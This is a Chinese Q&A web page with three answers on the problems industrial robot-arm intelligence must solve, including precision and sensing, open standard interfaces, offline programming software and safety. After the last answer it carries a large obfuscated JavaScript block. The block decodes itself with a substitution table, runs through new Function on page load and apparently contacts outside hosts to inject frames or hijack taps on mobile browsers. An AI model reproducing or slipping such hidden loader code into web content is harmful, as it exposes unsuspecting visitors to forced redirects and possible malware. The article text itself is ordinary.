工业机械臂的智能化要解决哪些问题

2025-03-12 19:27:08
推荐回答(3个)
回答1:

工业机器人的智能化 将何去何从


工业4.0,在中国这个世界级工厂的大地上正如火如荼的进行着。与此同时,国家和地方政府也不遗余力,大力扶持地方企业进行“机器换人”的无人化改造。我们都相信,这是一种不可阻挡的科技趋势,也是一场不可逆的有关更大更完全解放生产力的革命潮流。

说到工业机器人,其实分类很多。但就我个人而言,接触最多的还是串联六轴机械臂,即俗称的六轴机器人。因为它自由度多,灵活性好,且通用性比较高,所以广受工业制造的青睐。现在的工业应用领域中,越来越多的6轴机器臂出现在不同的工作岗位上,用以代替人类从事各种各样繁重,危险,高负荷的工作。这些工作曾经因为会给工作人员带来难以预估的身体和精神伤害,而广受诟病,并且随着中国老龄化的浪潮的到来,也使企业主难以招到满意的员工。而现在,灵活稳定的机械臂的出现,刚好解决了这个问题。

在某些行业领域,6轴机械臂有广泛的应用,如家电行业,铸造行业;在某些行业领域,6轴机械臂有更广泛的应用,如汽车行业,电子行业。在这些拥有高附加值和标准化生产线的行业中,价格不菲的机器人的优势才能更好的发挥出来。

1959年美国制造出世界上第一台工业机器人,机器人的历史真正开始。现如今,半个世纪过去了,工业机器人可谓走过了一段漫长的发展之路。从当初的实验室,到现在工业应用的各个行业,我们可以看到,机器人的应用已经越来越成熟。但是这种成熟,似乎也非常集中在某些行业,如电子生产,汽车制造等。

为什么这么说呢?我们来看看智能手机的发展过程,从04年出现,到现在的非常普及乃至普通,其中有一个非常重要的事件,就是生产工艺的标准化。比如充电器接口,所有安卓智能手机的充电器接口都一样。这种设备的标准化,有一个很明显的好处,就是给用户带来了很多方便。出差,忘记带手机充电线了,不怕,我们可以很容易在周边借到一根充电线。标准化的优势,更多的体现在产品的普及过程,和无限的可能性发展。它能让更多的人参与进来,使用,设计,优化。这对一种产品的成熟至关重要。

工业机器人的发展如何呢?发展了半个多世纪,我们看到,它的成熟度和发展了几年的手机相比,实际上差距还是很大。工业机器人有自己的小圈子,本体厂家之间都是明显的竞争关系,他们的保护壁垒也更加厚实。他们对自己的机器人都十分自信,觉得它们能完成更多,更精细的工作。所以与他人合作的意愿就没有那么强烈,甚至是不愿意和他人交流。

但是,我们看到工业机器人的行业应用还是有限的。机器人在使用的时候,也没有本体厂家们想象的那么好用。实际上,它还需要更多的设计来完善功能,增加使用的便利性和灵活性。

进过60年的发展,到目前为止机器人的拥有量不到300万台,而中国一年的汽车产量2500万台。机器人作为一种产业或者产品,它几乎可以忽略不计。而原因在于,由于众多技术的限制使机器人只是局限在制造业很窄的一部分里。尽管如此,机器人在全球范围的热度却仍在持续升温。

实际上,当前就制造业向“智造业”的转型发展已成为共识,广东近几年出现的“机器换人”的大潮更是一个典型代表。在产品生命周期缩短、消费者个性化需求提高的当代,传统的大规模流水线工业已经跟不上节奏——智能手机的更新换代的周期更是已经缩短到11个月,连汽车等高档消费品的更新周期也减少到了4年,灵活、快速及可以随时变化升级的生产线为工业机器人提出了新的要求,也提供了新的机遇。

个人感觉,工业机器人的发展和应用,如果想更上一层楼,需要在以下方面做出改变:

1.本体厂商对设备精度和性能的提升,对传感设备的深层研发,并构架出闭环控制系统。

工业机器人普遍能达到低于0.1毫米的运动精度(指重复运动到点精度),抓取重达一吨的物体,伸展也可达三四米。这样的性能虽不一定能轻易完成苹果手机上一些“疯狂”的加工要求,但对绝大部分的工业应用来说,是足以圆满完成任务。

随着机器人的性能逐渐提升,以前一些不可能的任务也变得可行起来(如激光焊接或切割,曾需要专门的高精度设备来指导激光的走向,但随着机器人精度的提升,现在也变得可依赖机器人本身的准确运动来代替了)。

但相比传统高端设备,如高精度数控机床,激光校准设备,或特殊环境(高温或特低温)设备等,工业机器人尚力不能及。

工业机器人是工业智能化的一个标志,它不仅体现在机械控制系统的智能编程上,还需要外部传感设备支持。为了检测作业对象及环境或机器人与它们的关系,在机器人上安装了触觉传感器、视觉传感器、力觉传感器、接近觉传感器、超声波传感器和听觉传感器,大大改善了机器人工作状况,使其能够更充分地完成复杂的工作。由于外部传感器为集多种学科于一身的产品,有些方面还在探索之中,随着外部传感器的进一步完善,机器人的功能越来越强大,将在许多领域为人类做出更大贡献。

2.本体厂商对数据底层接口的开放,本体厂商之间标准化接口和编程语言。

传统机器人的工作本质就是不断地走一个个的路径点,同时接收或设置外围的I/O信号(老和其他设置如夹具,输送线等合作)。而指导机器人这么做得过程,就是机器人编程。几乎每一家领先公司都有自家的编程语言和环境,从而需要机器人操作者参加学习培训。当机器人适用范围增广后,这个成本开始显现了。

这些厂商是有理由维护自家的编程环境的,一来工业机器人四十年前就开始规模化做了,那时还没有什么面向对象等现在广为熟知普遍认同的主流先进编程理念,二来萌芽阶段自家技术难免会和竞争对手不同,维护一个编程方式也无可厚非,三来因为他们的大客户往往也是传统的工业大客户,如大汽车厂商,这些客户求稳,自然不希望你机器人过几年就赶个热潮变换编程方式,搞得他们还得扔掉几十年的经验,重新花大钱培训学习。

标准化底层数据接口还有另外一个好处,就是直接给上层的应用级开发带来很多方便的地方。现在,大多数离线编程公司因为没办法拿到机器人底层数据接口,无法直接和机器人通信,所以程序调试起来很麻烦。同时,因为没有底层数据接口,离线编程应用等开发出来的功能也十分有限。这给编程人员和整个机器人应用的广泛普及都带来了很大的苦恼。

3.软件服务公司对机器人通用功能的完善,对工艺数据的处理。

机器人离线编程系统的研制和开发涉及的问题很多.包括多个领域的多个学科。目前工业领域的机器人离线编程软件种类也很繁多,软件的性能和功能也参差不齐,各有千秋。举例来说,国外离线编程软件发展较早,工业应用也比较成熟。像等都是首屈一指的离线软件大佬,他们在国内外的行业应用中,都经过大量的实践检验。国内的工业机器人离线编程软件虽然起步较晚,但是因研发投入较大,重视程度较高,所以进步很大,典型的案例就是北京华航唯实机器人公司的离线编程软件。其公司技术背景一是北航机器人研究所与CAD中心数十年的航空航天项目经验,二是数几十人的优秀研发团队,再加上背后财团的大力支持,商业化后短短两年就发展成国内离线编程软件的领导者,一骑绝尘,可谓成绩不俗。。

离线编程技术是未来工业机器人发展的重点之一,但是,就目前的工业应用来说,软件需要改进的地方还有很多。为推动这项技术的进一步发展,也需要多个方面的研究工作,下面就以大家比较熟悉的国产离线编程软件为例,来具体谈谈软件需要改进的地方:

a)多媒体技术在机器人离线编程中的研究和应用。友好的人机界面、直观的图形显示及生动的语言信息都是离线编程系统所需要的。在这些地方,相比较外国软件,做的已经很好了。当然,这个和它是国产软件,有一群了解中国人软件使用习惯的程序猿有很大关系。良好的人机交互体验能减少软件使用者的上手和学习难度,同时也能增加用户的使用欲望,帮助设计人员更好的工作。

b)多传感器的融合技术的建模与仿真。随着机器人智能化的提高,传感器技术在机器人系统中的应用越来越重要。因而需要在离线编程系统中对多传感器进行建模,实现多传感器的通讯,执行基于多传感器的操作。对于传感器的支持,据我所知,这方面的研究还比较少,国外同行做的也不尽如人意。机器人要想更智能化,传感器是一个非常关键的设备,其相关技术还需要大家共同努力,尽早突破。

c)各种规划算法的进一步研究。其包括路径规划、抓取规划和细微运动规划等。规划一方面要考虑到环境的复杂性、运动性和不确定性,另一方面又要充分注意计算的复杂性。我们知道,离线编程仿真软件,一个非常重要的功能就是,产线轨迹,轨迹规划和轨迹生成。为了减少不必要的成本,提高工作效率,我们使用软件更多的是出于设计方面的考虑。软件可以支持多机器人的产线规划,支持单机器人的轨迹规划和生成,这大大满足了我们工程师在设计方面的要求。

d)错误检测和修复技术。系统执行过程中发生错误是难免的.应对系统的运行状态进行检测以监视错误的发生,并采用相应的修复技术。此外,最好能达到错误预报,以避免不可恢复动作错误的发生。在程序仿真的时候,打开干涉检查功能,会对轨迹中的错误做初步检测。生成后置程序的时候,会对后置的机器人数据做最后的检测过滤,如果发现有不符合程序正常运行的数据,会拒绝生成后置代码。这样做的目的是最大程度减少,来自程序设计本身的失误。这一点需要给的设计人员点个赞,做的真的很好。

在解决上述软件通用功能以后,对工艺数据的整理组织也是一项十分重要的工作。专家库的建立,能够把软件编程和机器人操作的门槛降低,让更多的非专业工作人员进入到智能化产线当中。机器人换人的目的不是让人失业,而是解放劳动力,让设计人员把精力和时间投入到更有价值,更有意义的工作中去。随着全球老龄化的到来,随着员工的更新换代,操作经验和技术工艺也面临传承不济和逐渐流失的风险。如果离线编程软件能做好工艺数据的沉淀和应用,也算是功德一件。对于企业的自身发展,也很有帮助。目前,各个离线编程厂家或多或少都有自己的工艺数据包,像等这样有本体机器人做依托的离线厂家,工艺数据自然丰富强大一些,没有本体依托的软件厂家,也在做相关方面的研究。在东莞也建立起了自己的科学试验站,和多家国内本体厂商合作,专门从事打磨,焊接,去毛刺等工艺研究,现已积累大量可用于工业生产的工艺数据。

总结:只有当上述三个问题得以突破,工业机器人才能摆脱目前只是作为一种机械设备在行业领域应用的现状,从而进入广泛的市场。不止是作为人类的替代或人类能力的延伸,而是成为一个真正能够独当一面的机器人。我们相信这一天的到来,将会是人类科技发展史上非常重要,辉煌的一个篇章。

回答2:

工业机械臂的智能化需要解决以下几个问题:

  • 人机交互问题:如何让人与机器人进行高效、安全、可靠的交互,使得机器人能够理解人的意图,并能够按照人的要求执行任务。

  • 感知问题:如何让机器人能够感知周围环境,识别不同的物体和场景,从而能够自主决策并执行任务。

  • 运动控制问题:如何实现机器人的运动控制,使得机器人能够按照预定轨迹和速度执行任务。

  • 学习问题:如何让机器人能够通过学习和自适应来提高任务的执行效率和质量。

  • 安全问题:如何保证机器人的安全性,避免机器人与人员或物体碰撞造成伤害和损失。

  • 系统集成问题:如何将不同的智能技术集成到机器人系统中,实现高效、稳定、可靠的机器人控制。
    以上问题都是机器人智能化必须要解决的关键问题。为了实现工业机械臂的智能化,需要综合运用机器人技术、人工智能技术、传感技术等多种技术手段,不断进行研究和创新,打破技术壁垒,推动机器人技术的发展和应用。

回答3:

工业机械臂的智能化发展旨在提升其在复杂环境下的适应性和工作效率,要解决的关键问题主要包括以下几点:
1. 提高设备精度与性能:机械臂的本体制造商需要不断研发,提升设备的精度、速度和负载能力,同时深入开发高精度的传感设备,以确保机械臂能准确感知周围环境和操作对象,构建闭环控制系统,实现精细控制。
2. 开放数据接口与标准化:为了促进不同设备间的兼容性和互操作性,机械臂的本体厂商需要开放数据底层接口,并推动标准化接口和编程语言的制定,便于软件开发和集成,简化系统集成难度,降低使用门槛。
3. 完善软件功能与工艺数据处理:软件服务公司需要不断优化机器人控制软件,增加通用功能,提高软件的易用性和灵活性,同时强化对工艺数据的处理能力,使机械臂能更好地理解和执行复杂的制造任务,提高生产效率。
4. 增强自主学习与决策能力:通过集成机器学习和人工智能算法,机械臂需具备自主学习能力,能够在不同场景下自我优化路径规划、动作策略等,实现更高效的任务执行和适应未知环境的能力。
5. 提升人机协作安全性与效率:在人机协作日益紧密的趋势下,机械臂需要集成先进的安全机制,如碰撞检测、紧急停止系统等,确保与人类工作者的安全交互,同时优化协作流程,提高协同工作效率。
6. 模块化与可重构性:为了适应快速变化的生产需求,机械臂设计需要更加模块化和可重构,便于快速调整配置,以适应不同的生产任务和生产线布局。
7. 维护与故障预测:智能化机械臂还需要具备自我诊断和预防性维护功能,通过数据分析预测潜在故障,减少停机时间,保证生产连续性。
通过解决这些问题,工业机械臂的智能化不仅能提升制造业的自动化和智能化水平,还能促进产业升级,为工业4.0时代的智能制造奠定坚实基础。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();